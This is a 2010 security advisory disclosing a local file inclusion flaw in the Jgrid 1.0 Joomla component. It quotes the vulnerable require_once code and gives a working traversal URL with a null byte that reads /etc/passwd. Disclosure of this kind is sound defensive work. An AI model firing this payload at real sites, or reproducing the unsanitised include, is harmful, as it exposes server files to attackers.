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Jgrid 1.0 Joomla Component Local File Inclusion Vulnerability NameJgrid Vendorhttp://datagrids.clubsareus.org Versions Affected 1.0 AuthorSalvatore Fresta aka Drosophila Website http://www.salvatorefresta.net Contact salvatorefresta [at] gmail [dot] com Date2010-08-14 X. INDEX I.ABOUT THE APPLICATION II. DESCRIPTION III.ANALYSIS IV. SAMPLE CODE V.FIX I. ABOUT THE APPLICATION ________________________ DATA GRID Component built on the popular EXTJS Framework. II. DESCRIPTION _______________ A parameter is not properly sanitised before beingused by the require_once function. III. ANALYSIS _____________ Summary: A) Local File Inclusion A) Local File Inclusion _______________________ Thecontrollerparameter in jgrid.php is notsanitised beforebeingused by the PHP function's require_once(). This allows a guest to include local files. The following is the affected code: if($controller = JRequest::getVar('controller')) { require_once (JPATH_COMPONENT.DS.'controllers'.DS.$controller.'.php'); } IV. SAMPLE CODE _______________ A) Local File Inclusion http://site/path/index.php?option=com_jgrid&controller=../../../../../../../../etc/passwd%00 V. FIX ______ No fix. |